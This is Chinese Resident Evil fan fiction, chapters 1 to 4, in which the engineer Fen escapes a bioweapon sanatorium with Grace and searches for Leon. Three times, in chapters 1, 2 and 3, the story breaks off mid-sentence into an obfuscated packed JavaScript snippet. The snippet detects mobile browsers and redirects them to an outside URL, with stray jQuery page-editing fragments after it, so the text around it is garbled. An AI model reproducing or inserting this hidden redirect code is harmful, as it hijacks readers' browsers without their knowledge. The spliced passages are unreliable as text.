《[生化危机]安魂》 1. Chapter 1 芬并不认识维克多·基甸,也没跟保护伞公司打过什么交道。那家臭名昭著的制药公司倒闭的时候,她还是个什么都不懂的小孩子。尽管若干年后,她跟一些浣熊市幸存者有过交集,甚至还有了很深的羁绊,但这并不代表芬了解1998年发生在浣熊市的“灭菌计划”。 她也不想知道。 不过芬能猜出那个皮肤像尸体一样泛着灰白色的兜帽男出手绑架自己的意图,毕竟她可是在研究“浣熊市幸存者综合征”。这种病已经害死了很多人,而她非常关心的两个人都已经出现了感染症状。时间紧、任务重。芬不是战士,她是工程师,也是科学家,她想要做些什么。 她早该知道,麻烦会如约而至的。 可惜的是,皮尔斯半个月前就离家执行任务去了,估计都不在国内。所以他还不知道芬介入了“浣熊市幸存者综合征”的研究。但芬觉得,自己被绑架之后B.S.A.A.肯定得有人出面通知一下皮尔斯。或者说,她是这么希望的。 她讨厌被绑架。 这个兜帽男维克多倒是审问过芬,不过她还没来得及开展工作就被他给绑架了,哪怕芬扛不住想要招供,她也没有多少可吐露的。 当然,审问就审问,怎么都不会好过。更何况,那家伙简直就是具行走的尸体,泛着腐烂气息的口臭隔着老远都能闻到,还总是发出瘆人的低笑,像条嘶嘶吐信的毒蛇。 芬研究生化病毒多年,一眼就看出此人的感染程度已经深到没救的地步,不过她看不大出来对方究竟感染的是哪种病毒。 等终于到了审问未果的那一步,维克多放弃了从芬身上得到答案,于是把她扔进了一个隔离病房,再也没理会过。 至少维克多始终都没有发现,芬的身体内其实也有多种生化病毒。这还要归功于芬多年来对自己的治疗和锻炼。 芬知道,自己得尽快想法子逃出去。这地方简直是人间炼狱——所谓的病人几乎全部都是接受实验的“小白鼠”,没日没夜遭受非人的虐待。她不敢想象,万一那些忘记希波克拉底誓言的研究员们想起她这个等死的囚徒身上还有可供利用的器官、血液,自己会在多久之后控制不住体内的病毒直接变成生化武器,给这一出悲剧增添喜剧性质的反转。 她能和体内残存的病毒和谐相处,但那不代表在遭受致命伤之后,芬的身体能违背求生本能压迫病毒造反。 然而逃生这种事,说着容易,做起来简直没有半点可操作性。隔离病房连个窗户都没有,床架直接焊死在水泥地上,马桶也没有什么可以利用的部件。 芬在确定不会有人突然闯入之后还仔仔细细研究了电子门锁,然后得出了“无法从内部打开”这一伤心结论。 更糟的是,虽然没有研究员惦记芬的器官,但也没人记得给她送饭送水。芬在隔离病房里找到一些连生产日期都没有的瓶装矿泉水,还有一些尚未发霉的面包,就靠着这些东西坚持了将近三天。 如果不是那天晚上有遥远的警报声传来,芬都要绝望了。 警报声响起之后,外面似乎陷入了长久的混乱。芬隐约能听到警卫在大声呼和,但那些声音很快就消失了,取而代之的是尖叫、惨叫,然而那些声音同样也很快就消失了。最终,寂静取代了一切。芬把耳朵贴在门上努力去听,不过只能听到隐约的咕哝声,像是有人在很远的地方含糊不清的说话。 她希望是有人来营救自己了,但实话实说,这糟糕的动静听起来更像是见不得光的非人道主义实验出了岔子,导致灾难发生。 至少D.S.O.或者B.S.A.A.会在这种事情发生之后介入吧?虽然等他们发现估计已经是几个小时之后的事情了。如果那时这里还有活着的人的话,或者该说,这里的主人没有疯狂到按下“自毁按钮”的话。 那个维克多·基甸看起来就挺疯狂的。 芬决定不能坐以待毙,但她过去三天都没想出什么好办法,这会儿也只有撞一撞门。 没什么用,门和墙都安装了软垫,她虽然也没撞疼自己,但那扇该死的门连晃都没晃一下。 她真正开始着慌是在断电之后。隔离病房原本还有供电,每晚十点自动熄灯,外面的大通间则彻夜亮灯。但现在,灯全灭了,从门缝里渗进来就只有代表着“紧急”和“危险”的红光。 害怕吗?害怕。但芬的大脑在压力下也开始再次转动:关联门锁的自动程序肯定是需要电力支持才能运转的,这些门禁通常为了安全会设置成断电之后自动锁死的状态。但在重新上电之后,说不准程序会因为故障而开放门禁。 这是她惟一的希望。 只是坐着等待太需要耐心了,芬又不是皮尔斯那样的狙击手,根本就沉不住气。况且要是换成皮尔斯,估计他早就想办法闯出去了。 芬在已经检查过每一条地缝的囚室中转了一圈又一圈,抓耳挠腮想做点什么打破困境。她身上穿的衬衣和牛仔裤拆不出什么可以利用的零件,除非能拿纽扣防身。不过芬倒是把腰带解了下来,一端绕在手上权当鞭子。 外面要是有生化武器,多半不会把这小玩意儿放在眼里;外面要是有雇佣兵,多半会觉得芬这样是不自量力。但她总得手里拿着点儿什么才能安心。 到时候舞得虎虎生风,说不定也能吓退两三个虾兵蟹将。 幸好这条牛仔裤是皮尔斯给买的,属于芬绝不会主动购入的紧身款式,不会因为拆了裤腰带就直接掉下来,顶多是塞进裤腰的背心有点儿漏风。她抓着皮带在囚室里抽了抽墙面,习惯了一下皮带的重量,顺便分析了一下这玩意儿当作武器的实用性和功能性,纯当是怀念往昔了。 她也曾是厉害的武器工程师啊。 “滴——” 芬精神一振,立刻冲到门口去推门,结果在门上撞了个结结实实,心也跟着一沉。但她很快就听到隔壁的动静:门开了,而且里面传出来的声音很不祥。 听着是T病毒感染者,俗称丧尸。但T病毒感染者的语言中枢可是会受到致命打击,结合她之前听到的含糊不清的嘟嘟囔囔,芬在“T病毒”感染这个结论后面又打了个问号。 说不定是某个厉害的变种,能保留语言功能和一定的智力,就像C病毒。 “砰!砰砰!” 枪声,绝对是枪声,而且短促、尖锐,又脆又短,听起来更像是袖珍款式。芬不由得精神一振,她判断开枪的要么是疗养院的文职,要么是女性。大概率不是男性雇佣兵。 芬咬紧嘴唇,把耳朵贴紧门板。奈何隔音层效果太好,想听出更多信息根本不可能。 “滴——” 冷不丁地,她这扇门突然也解锁了。猝不及防的芬脚下没有站稳,直接合身扑倒在了外面的瓷砖地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440249|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 混合着消毒水但终归要稍微清新一些的空气随即涌入鼻腔,她当即打了一个大大的喷嚏,然后是第二个、第三个。 “阿嚏!阿嚏、阿嚏!” 这大概救了芬一命,因为格蕾丝差一点就朝这个从门里跌出来的人开枪了。她在这下面见到的都是感染者,尤其是这个隔离病房,根本没有一个活人。 但感染者应该不会打喷嚏……吧? 她不确定地用手电筒照着趴在地上连着打了三个喷嚏的人,是个女人,长发披散,没穿病号服,衬衣、牛仔裤看起来很生活化,跟这个鬼地方一点也不搭。 “你、你好?”格蕾丝决定先招呼一声,看到对方的脸之后再做决定,“你、你是谁?” “……嗨。”芬捂着鼻子羞愧地抬起头,在手电筒灯光下眯起眼睛。对面的年轻女人身上的白T恤和牛仔裤脏得和自己不相上下,看起来应该不是医院的疯狂研究员,也不是病患。 她手里的枪是M232,好古早的款式。 芬眨眨眼,对方像是看出她的不适,把手电筒灯光从芬的脸上移开了。“你、你不是这里的病人吧?”她问芬。 “不是。”芬说着站起来,另一只手还拎着自己的皮带,她对眼下的情形十分摸不着头脑,但令人高兴的是,对面的女孩儿看起来同样摸不着头脑,“我是被绑架来的。” “我也是!”格蕾丝心里顿时涌起一阵同情,“你没事吧?他、他们伤害你了吗?” 芬迅速摇了摇头,对方这么快就放下戒心让她有些惊讶,不过她也不是喜欢弯弯绕的人,索性说道:“我叫芬,你呢?” “格蕾丝。”对方回答,“我、我是FBI。” 芬这下真的吃了一惊,“FBI?”她瞟了一眼格蕾丝手里的枪,“FBI可不配发这种型号的武器,年轻小姐。你别哄我。” “哦,这是我自己买的。”格蕾丝立刻解释,有些结巴,“我真的是FBI,被绑架到这里的。你、你知道这里发生什么了吗?” “我听到警报。”芬紧握着手里已经有些汗湿的皮带,“我是几天前被抓进来的,你呢?” “呃,”格蕾丝回答,“几、几个小时?我不知道,我有段时间失去了意识。你知道今天几号吗?” 芬算了一下,回答:“9号吧,12点已经过了。10月9号。” “哦,这样。”格蕾丝松了口气,然后对芬挤出一丝微笑,“你一定也想离开这里吧?” “等不及了。”芬长长吁了口气,“这地方有能用的电话吗?你有手机吗?” 格蕾丝摇摇头,“电话线都断了,我的手机也被他们拿走了。但……”她犹豫了片刻,说,“我找到离开这里的方法了,只是还需要一些东西。” 芬略一思索,问:“这里被封锁了?因为警报?” 格蕾丝连连点头。她看起来是比较内向的那种人,一紧张就结巴,而且几乎不跟芬长时间对视。 芬自己也不是外向的性格,很高兴这会儿不用应付她一点儿也不擅长的社交。 “你刚才说你找到离开的方法了?”她问格蕾丝,要是能离开这里,自己总能借到电话联系皮尔斯或者皮尔斯的上级的。 “嗯。”格蕾丝点点头,朝旁边亮着光的警备办公室看了一眼,“我得去找一个人帮忙,你要一起来吗?” 2. Chapter 2 芬跟着这个自称FBI探员的格蕾丝一起离开了隔离病房。待在囚室里听外面的动静时,她已经多少对这地方发生的惨事有了预料,但真看到满地都是尸体,随处都有鲜血四溅,芬还是有些胆寒。 “究竟怎么了,这个地方?”她小声问格蕾丝。 “不知道。”格蕾丝摇摇头,虽然她主动走在了前面,但芬觉得她搞不好比自己还害怕。“我……我想这是生化恐怖袭击事件,刚才我还遇到一个D.S.O.的探员,他好像是来调查的。” 芬不由得睁大了眼睛,“D.S.O.探员?叫什么?”她涌起一阵希望。 “呃,里昂·肯尼迪?”格蕾丝回头看了芬一眼,芬脸上的表情肯定泄露了什么,因为格蕾丝随即问道:“你认识他?” “嗯,他是我姐夫。他人现在在哪儿?”芬咬紧嘴唇。里昂的感染已经快到三期了,他居然跑来这里调查!如果不尽快研制出疫苗的话,高强度的行动下,病毒在几天之内就能要了他的命。 真倒霉,要是她没被绑架的话…… 一阵含糊的呻吟声打断了芬有关于家人的不安思绪。格蕾丝也立刻摆了摆手,让芬靠后一些,然后她举起枪,悄悄上前去查看。 她们所在的位置是隔离病房外通往等候室的过道交汇处,眼下就只有紧急照明和红色警报灯光。右手边走廊上的等候室里倒是灯火通明,不过那并不代表着安全。 格蕾丝从半开的门里挤进去的时候,显然非常清楚这一点,她看起来像是恨不得四脚着地爬着进去,免得惊动任何“人”。 芬不放心地跟着往前挪了挪。她虽然不能打,枪法还稀烂,但格蕾丝看着也不像是战斗力强悍的类型。 她要真是FBI,铁定是个文职人员。 “安……静,”芬竖起耳朵的时候听到里面有人呻吟,“安……静。给我安静!”嗓音嘶哑、语调古怪,像是大舌头的人在说梦话。然后是一连串“叮叮当当”的声音,听着像是某种金属的东西在瓷砖地面拖过。 芬忍不住蹲着往前慢慢挪,把眼睛凑到门缝那里张望,然后又不得不站了起来——等候室里的四方柜、沙发还有立柱之类的非常阻挡视线。 站起来之后,芬立刻看到,格蕾丝正俯身缓缓从后面接近一个穿着病号服的男人,后者手里拎着已经只剩杆子的输液架,正不自然地摇摇晃晃,嘴里发出刚才芬听到的说话声:“安静……别吵……” 这个感染者竟然保留了一定的语言能力,芬不由得一阵吃惊。当然了,C病毒和霉菌感染的晚期阶段都会存在宿主的语言中枢仍旧活跃的情况,但她以科学家的敏锐察觉到这一次的不同之处。 “好脏!”蓦地,从芬的视觉盲区里突然响起一声尖叫,“好——脏!打扫干净!” 格蕾丝吓得跳了起来,她匆匆转向尖叫声传来的那边,所见肯定让这姑娘吓得不轻,因为她慌得枪都来不及开,随手从旁边抓起一个陶瓷罐子就狠狠扔了出去。 那个穿着黑色制服裙、白色围裙的保洁员刚好冲进芬的视野范围,因此芬得以看见,格蕾丝惊吓之余准头居然不错,陶瓷罐子正砸在保洁员的脑袋上,打得对方一个踉跄。 芬当即便想进去帮忙,因为这种情况下,能比被感染者攻击更糟的,就是被两个感染者一起攻击。 然而,刚才还站在原地嘟嘟囔囔的男性感染者突然厉声叫喊起来,挥舞着手里的输液杆,竟然朝另一个感染者冲了过去。 “咚”的一声,抡出去的输液杆狠狠砸在了保洁员丧尸的头上。也不知道是感染者力大无穷,还是输液杆质量超群,丧尸保洁员顿时像袋水泥一样倒在了地上,然后再也没爬起来。 格蕾丝堪堪向后避开,又踉跄着往旁边躲了几步,这才没被输液哥的这几杆子送去见猫王。 “安……安静。”对方又舞了几下输液杆,然后从激动的状态中恢复过来,重新站在原地摇晃起来,输液杆拿在手里、染血的那一头搭在地上。 这还挺奇怪的,芬终于忍不住轻手轻脚走了进去,还特地绕到输液哥前面,仔细观察了一下他的眼睛。 唔,感染症状很明显,但也并不是完全失去视觉了。 也就是说,这家伙看见格蕾丝了,但却选择去攻击另外一个感染者。为什么呢?因为……另一个感染者没能保持安静? 芬其实还挺想探究一下的,她的求知欲经常不合时宜地冒出来。但格蕾丝没给她这个机会,拉着芬飞快地从等候室另一头的双开门里冲了出去。 两人脚下生风,穿过一扇上面写着“EXIT”的大门,一路冲到了明亮的大厅里。她们脚下蓝白相间的瓷砖地板和墙壁也变得干净起来,不再是血呼拉擦的糟糕模样。 “哦,哦该死。”格蕾丝在确认感染者没有追过来之后终于停下了脚步,她扶着膝盖大喘气,然后说道:“我、我还以为都清理干净了呢。” “难免的,这叫做‘感染者的行动轨迹不以活人的意志为转移’。对了,你没事儿吧?”芬说着扫视了一下格蕾丝露在外面的双臂,上面溅了不少血迹,而且说实话,她衣服下面有明显的绷带包扎痕迹,天晓得受过什么伤。 格蕾丝喘匀了气儿,点点头说:“我还好。我还好。” “对了,你要找的帮手是谁?是里昂吗?”芬这时候才把刚才被迫咽了回去的问题给问出来,“他人呢?” “不是那个人,他、他和我被一道铁门分开了。”格蕾丝回答,“我要找的东西只有能读盲文的人才能帮忙打开,”她又犹豫了一会儿,然后对芬说:“我在这里见到一个眼盲的孩子,现在我去把她领出来,你在这里等我好吗?” 芬点点头,又问:“你说的铁门在哪儿?” 格蕾丝朝上面一指,“在三楼,被封死的大铁门就是。” “那正好,我上去看看。”芬可不想站在原地傻等着。眼下大厅里安安静静的,应该没有什么危险。 “别跑远了。”格蕾丝有些不放心,“你……有枪吗?” 芬遗憾地摇了摇头。 格蕾丝又问:“你会开枪吗?你会开枪吧。”她大概是想起来芬一眼看出了自己的手枪型号,于是从腰包里掏了掏,又掏出一把枪来。 应该是B934,好家伙,比她手里那把还要老古董。 芬感激地接过这把枪,熟练地检查了一下,子弹只有3发,不过真到了危急时刻,1发子弹也能救命。 “谢谢,探员。”芬真诚地道谢。 “叫我格蕾丝吧。”格蕾丝看起来很窘迫,“那、那我去找艾米丽了,我是说、我是说能帮我的那孩子,她叫艾米丽。呃,她、她胆子比较小,我会和她说你也在,应该会没事的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440250|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是叫芬,对吧?” 芬点了点头,然后目送格蕾丝小跑着去了靠近被铁栅栏封死的疗养院大门附近的一道小门里。多半是保安室之类的地方。 唉,出口近在咫尺,可惜已被堵死。芬看着大门前粗粗的铁栅栏,心想,格蕾丝找到的出路最好靠谱。 她真是受够这个鬼地方了,一秒钟都不想多待。 说起来,呆在这种地方的孩子,而且还眼盲……芬一点也不想知道那个讨厌的兜帽男究竟有没有拿小孩子做实验。 她推开这些令人胆战心惊的念头,转身沿着楼梯一口气跑上了三楼。这上面果然有扇封死的大门,只不过连个缝儿都没留。 芬抱着一线希望敲了敲门,小声叫了叫里昂的名字,结果当然没有得到任何回应。 行吧,都在这里,总能碰到的。 她沮丧地拖着脚步回到了一楼大厅,在二楼还路过了一扇奇怪的门,那扇门上有三个装着半透明棱体的凹槽,不过其中一个凹槽里的棱体缺失了。 ——这不会就是格蕾丝说的离开的方法吧? 真的,什么人才在门上安装这种机关啊?机械狂人?古墓粽子?反正不会是正常人。 除了贝克家,芬还没见过哪户人家会在屋里装这些玩意儿的——那家人对机关简直有种病态的迷恋,也不知道是霉菌感染导致的,还是他们感染之前就喜欢机械、电气。 芬任由往事涌起又落下,摇头叹了口气。 就在这时,大厅里那扇小门被推开了,格蕾丝抱着一个白色短发的小女孩儿快步走了出来。 小女孩儿身上果然穿着白色的病号服,身材瘦小,一副营养不良的样子。 “嗨,芬。”格蕾丝显然不怎么会带孩子,但她至少努力装出镇定的样子了,“这是艾米丽。艾米丽,这就是我刚才跟你提起的芬。” “嗨,艾米丽。”芬打了声招呼,不过那女孩儿迅速把脸埋在了格蕾丝肩膀上。一瞥之间,芬倒是看清了女孩儿的眼睛,像是有白内障一样。 格蕾丝有些窘迫地说:“她很害羞。” 芬一点儿都不介意,她抽出枪来说道:“你腾不出手开枪了吧,我来开路。回刚才的地方?” “嗯。”格蕾丝点点头。 好在,除了仍在嘟嘟囔囔的输液哥还代表了一定的威胁以外,三人回到隔离病房的一路上都很平安,当然也很安静。而只要她们三个保持安静,输液哥根本懒得搭理她们。 也许等候室里的那俩就是最后的漏网之鱼。 芬是这样希望的,但她也做好了战斗准备——这些年,皮尔斯多多少少带着她的枪法精进了一些,不像当年只能打打固定靶。原本芬唯一能感受到的好处就是自己玩第一人称射击游戏的水准提高了,她可没想过,自己竟然还能有实践的一天。 她是工程师,不负责出外勤。但想想过去几年,芬可真没少卷进麻烦里去。 而眼下,麻烦再次不请自来。正当她和抱着小女孩的格蕾丝走到隔离病房,靠近那道带着安检门的入口前时,一旁的楼梯间突然传来一阵难以言喻的刮擦声,还有低沉的人声没头没尾地在说:“居然敢小瞧我……”听起来嗓音沙哑、满怀怨念。 “哦,不好。”格蕾丝颤声说道,好像非常清楚声音的主人是谁,而且感到大难临头,“芬,快跑!” 3. Chapter 3 “你带孩子先跑。”芬迅速侧身让开路,举起枪对准楼梯间。格蕾丝一边抱着艾米丽冲进隔离病房,一边喊道:“别耽搁,快跟上!” 话音未落,芬便瞥见一个庞大、肥硕的灰色东西从楼梯间挤了下来。来者不善是肯定的,因此没等看个清楚,芬就迅速转身冲过安检门,然后干脆利落地拉上铁门、放下门闩。 这显然未能阻止那东西,等芬跟上格蕾丝的时候,对方已经挪到了过道上,咆哮的声音都能震动地板和墙面。 芬勉强把一声尖叫咽回到肚子里,冲进隔离病房之后又把大门“砰”的一声关上,还挪过来了一旁的柜子挡在门前。 下一秒,尖利、刺耳的金属扭曲声隔着几道门响了起来。 芬踉跄着后退几步,心想:这下可好,就算能拿到那东西,她们又该怎么回去呢? “芬?”格蕾丝远远地喊了一声,她满头大汗地从警备办公室探出头来,也不知道是抱孩子累得,还是被肥硕丧尸给吓得,“怎、怎么样?” “我把门堵住了。”芬转身朝她小跑过去,“你那边呢?” 格蕾丝回头看了一眼,心神不定地回答:“呃,艾米丽在解密了。”然后她走出来,把门带上,一脸凝重地低声问道:“那东西会进来吗?” 芬不知道。 “反正得做好准备。”她不时往门口瞟上一眼。现在,刺耳的金属声已经完全消失了,她由衷地希望是那生长过度的吓人玩意儿放弃了追赶她们,而不是隔离病房的安检通道已经完全被摧毁了。 结果还不等她的这个念头落地生根,那种挤压墙壁的摩擦声就又响了起来。 格蕾丝也听到了,颤声骂着:“该死、该死、该死。”她掏出枪,举起来瞄准门口,又想了想,哆哆嗦嗦把这把不中用的M232收起来,掏出了一把更大的左轮手枪。 芬倒抽了一口冷气,说:“这是里昂的枪吧?” 她绝对没看走眼,这是D.S.O.专门给行动队员配发的大口径武器,里昂的这一把好像是叫“安魂”来着。 “嗯,是他给我的。”格蕾丝说着犹豫了一下,“你……想要吗?” 芬立刻疯狂摇头,“别开玩笑了,这玩意儿后坐力太大。” 格蕾丝一听也苦了脸,“我之前开了一枪,手都震麻了。” 芬刚想对她表示同情,隔离病房被堵住的门就“轰”的响了一声,挡门的柜子虽然没倒下来,但也被震歪了。 “哦,我的天啊。”格蕾丝用力深呼吸了一下,然后举起安魂对准大门,她头也不回地对芬说:“你找个地方躲起来,我来对付、对付……这家伙。” “这玩意儿什么都能撞开,躲哪儿都没用。”芬也举起了枪,“至少我们有大口径武器,还是有胜算的。” “嗯。”格蕾丝应了一声,不过她的声音一直在颤抖,听着十分没底气。 芬瞥了她一眼,发现这姑娘脸上冷汗更多了,而且紧张地一直在眨眼睛。 但不等芬说点什么“加油”之类的废话,门板和柜子就“咚”的一声被一齐撞飞了。格蕾丝大叫了一声,但究竟没有瞎开枪。在尚未散开的烟雾中,她们已能看清门洞外那令人生厌的怪物形状,死灰色的肥肉层层叠叠,中间是一颗椭圆形的脑袋,浑浊的眼球像是两颗劣质玻璃珠一样嵌在一堆死肉上面。 格蕾丝稳住姿势开枪了,震耳欲聋的枪声中,子弹精准击中了丧尸的头部。 肥硕丧尸狂吼了一声,那颗脑袋居然还保持了完整性,大概是感染、膨胀的脂肪提供了缓冲。但它原本要挤进来的动作究竟随之一顿。 芬隐约闻到了臭烘烘的血腥气,与此同时,格蕾丝又开了一枪,后坐力之大,震得她胳膊都快飞起来了。 “快死啊!”格蕾丝绝望地喊着,然后再次扣动扳机,“快死啊!” 血肉横飞中,头部连中三枪的肥硕丧尸终于发出了一连串狂吼声,冰冷的腥臭之气顿时涌入,熏得芬差点当场吐出来。它的身体则迅速干瘪下去,黄黄红红的液体从撕裂的皮肤中喷涌出来,让这玩意儿看起来像个恶心的喷壶。 格蕾丝也踉跄后退了几步,颤抖着手臂收起安魂——已经没子弹了——再次拔出手枪对准门外已不再肥硕的肥硕丧尸。 “砰”的一声,这该死的玩意儿像个盛了过多血水的气球一样炸开了,各种组织、液体眨眼间四下飞散。 芬一把拉住格蕾丝迅速往后退,两人这才没被丧尸的内脏给洗礼一番。格蕾丝忍不住干呕了一声,然后用空着的手死死捂住嘴,显然是在压抑呕吐的欲望。 芬也有点儿想吐,不过她经验要更丰富一点,所以还能保持镇定。 “恶心归恶心,但麻烦总算解决了。”芬说着回头看了一眼门口的血泊,“太好了,我还以为我们要被困死在这里了呢。” “嗯。”格蕾丝扶着膝盖调整了一下呼吸。她擦了擦脸,然后抬头对芬说道:“我们应该马上就能离开了。来吧,去看看艾米丽。” 正巧,警备办公室里这时传来小女孩儿的叫声:“格蕾丝!我成功了!” 格蕾丝连忙收起枪,小跑了两步冲进办公室。她放缓声音说道:“我回来了,我回来了。”里面的孩子应了一声,两手捧着半透明的多棱体往前挪了几步,脸上带着欢喜的笑容,“我找到了这个。” “干得好,谢谢,艾米丽。”格蕾丝感激地朝艾米丽伸出双手。 芬这时刚走到门口,她捕捉到了那不祥的一声“轰——”,然后就被蓦然震动起来的地面和墙板给掀飞了出去,重重撞在了办公室的玻璃窗上。 与此同时,艾米丽尖叫起来,格蕾丝也在喊艾米丽的名字。因为办公室的灯全都碎了,所以只有格蕾丝摔在地上的手电筒还在发光。 “艾米丽!”格蕾丝什么也看不见,但她知道刚才有堵墙直接破了个大洞——在外力的作用下。 更糟的是,格蕾丝能感觉到房间里还有别的存在,她疯狂地在地板上摸索着,终于抓起了手电筒朝破损的墙体那边照过去。 光束扬了起来,随即照亮了怪物可怖的身形。 芬也看到了,那玩意儿就像一个小孩子和老太婆的身体以诡异的方式融合到一起似的,比例错得离谱。巨大的头颅上有着两只凸出的眼球和长长的舌头,佝偻的身体外还套着一件脏得看不出颜色的裙子。此外,它的手脚都大得和脑袋有得一拼。 艾米丽就像个洋娃娃一样被这个可怖的怪物夹在胳膊下面,在格蕾丝吓得手脚并用往后退的时候,这怪物带着艾米丽迅速钻回了她一头撞出来的那个破洞里去。 “艾米丽!”格蕾丝回过神来,连滚带爬地穿过破墙,然后扑到了里屋地板上的破洞旁,但下面黑黢黢的什么也看不到,“艾米丽!” 她颤抖的声音在深渊处回荡着,然而始终没有回应。 芬这时终于勉勉强强从地板上爬了起来。她的后背疼得要命,肯定已经被碎玻璃碴子扎破了,但至少手脚没有扭到,脖子、脑袋也还在肩膀上好端端的呆着。 “格蕾丝,”她咳嗽了一声,捂着疼痛不已的脑袋,踉跄着走进屋去,“怎么回事,艾米丽被抓走了?” “嗯。”格蕾丝哑声回应,“我、我、我得去……”她深吸了一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440251|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后强自镇定下来,“我得去救她,她是因为我、因为我才……” 她抬起头看了一眼芬,眼神无助、神情恓惶。 “好,好。去救她,我们一起去。”芬很快就做出了决定,不只是因为那孩子身处险境。 格蕾丝现在已经用光了大口径武器的子弹,而那怪物看着就不像是寻常的感染者。她一个人要怎么在下面那未知的危险环境中应付那样的敌人? 两个人至少能声东击西,多一丝活命的机会。 然而格蕾丝却毫不犹豫地拒绝了,“不行,我不能再把你也拖下去了。你留在这里。”她顿了顿,然后福至心灵一样说道,“你得留在这里等里昂,他不是你姐夫吗?万一他找来了怎么办?” 这句话又让原本决心已定的芬不由得纠结起来。 她的确想找到里昂,非常想。 “那就这么定了。”格蕾丝当机立断地说,也许是担心自己害怕、反悔,“我、我、我去找艾米丽,然后我们一起离开这里。” “格蕾丝,你先稍等一下。”芬有些担心她直接就这么跳下去,连忙拉住她,“给我五分钟。” 格蕾丝还想抗议,“可……” 芬不容置喙地说:“五分钟,你缓一缓,平复一下心情。我马上就回来。等着!”她最后指着格蕾丝加重语气,“你要是趁我不注意跳下去了,我一定会跳下去找你的。” 格蕾丝只好目送芬从警备办公室匆匆跑了出去。她竖起耳朵,能听到芬在外面翻箱倒柜的声音。 也许对方是想找点儿武器什么的给自己防身,但格蕾丝已经有枪了——安魂的子弹都用完了,真倒霉,但另一把枪还有几个弹匣的富裕。实在不行,她还有把小刀,也不算是赤手空拳。 尽管一想到那些行尸走肉一样的感染者,还有那个体型巨大、力气无穷的“女孩”怪物,格蕾丝就忍不住发抖,但她不得不强迫自己鼓起勇气。 为了艾米丽。 “嘿,”芬回来的还算快,她手里拎着一个不知从哪儿搜刮来的小包,直接塞给了格蕾丝,“这个瓶子里是浓硫酸,隔着衣服估计没啥效果,得往头上砸。这个瓶子里是可燃液体,你有打火机吗?” 她开门见山地一通讲,听得格蕾丝懵懵地只能点头。 “点燃引信,然后扔出去。小心别扔脚底下,这玩意儿会爆炸,会有火焰喷出来。”芬继续说下去,“还有这个,”她指了指包里的三个注射器,“有毒,如果你能找机会趁那些东西不注意把药打进去,它们就不会再走动了。” 格蕾丝眨眨眼,“这是……你从哪儿找来的?” “这里是病房,该有的材料随处都是。”芬朝她笑了笑,“我以前是研发武器的。这些只是小玩意儿而已,希望你能用得上。不对,希望你用不上。”她说着又改口,还“呸”了一声表示反悔。 格蕾丝忍不住笑了一下。 “好了,不耽误时间了。”芬朝她点点头,神情再次严肃起来,“要不是我枪法太烂、又不能打,我肯定会和你一起去的。” 格蕾丝立刻说道:“我一个人可以的。” 她真希望自己能有听上去的那么有信心、有把握。格蕾丝咬了咬牙,最后看了芬一眼,然后深吸一口气,在破洞边缘处坐下,给自己鼓鼓劲儿,大喊一声、纵身跳下了黑暗深渊。 芬竖起耳朵听了听动静,根据落地的响动判断出格蕾丝下坠的距离着实不小,忍不住瑟缩了一下。 “这姑娘,看着战战兢兢、胆小怕事的,其实挺有勇气。”芬这样想着,摇摇头、叹了口气。 好了,赶快去找里昂吧。 4. Chapter 4 现在,芬只知道当初里昂和格蕾丝是在三楼被分开的,其余的信息一概不知。于是,她蹑手蹑脚地离开了一地狼藉的隔离病房,先是在东翼这一侧找了找楼梯,然后遗憾地发现:楼梯间里那扇通往三楼的门已经被堵死了。 至少东翼很安静,大概那些不安静的家伙已经被输液哥干掉了。芬原本只想专心找路的,但东北角的血液研究室让她有了不少意外的收获。 这个罗兹山疗养院里见不得人的秘密绝对不少,血液研究室顶多算揭开了冰山一角。 芬先是找到了一些没被锁进保险箱或者直接销毁掉的资料和日志,又在紧挨着的储物间里发现了没被及时处理掉的血液样本。 她靠着仍在运转分析仪做了一些实验,对比其他残缺不全的数据之后,芬可以确定,感染这座疗养院的病毒也属于T病毒,而且是改良版的变异T病毒。 这个杀千刀的维克多真是个疯子。芬快速浏览着数据,总觉得这里面还藏着更大的秘密,只不过眼下还没有浮出水面。 “你可以藏,但你逃不掉。”芬嘀咕着,用力按着劣质鼠标的左键,“我迟早会把你找出来的。” 事实上,芬对那些感染者保留了一定的语言能力和生前习惯感到非常好奇,按理说这些在生化武器技能表上的优先级别并不高。说不定,语言能力和生前习惯只是副作用,维克多真正想要改进、提高的是别的。 智力,或者其他什么跟大脑有关系的东西。 大胆猜测一下,也许这就是疗养院里针对T病毒进行的研究。毕竟感染者智力显著下降是个硬伤,不管是C病毒还是害死贝克家的那种霉菌,都在这方面胜过T病毒。 芬做完了手头能做的,她飞快地把一些重要的数据和结论抄在一张纸上然后塞进了包里,这才离开研究室。 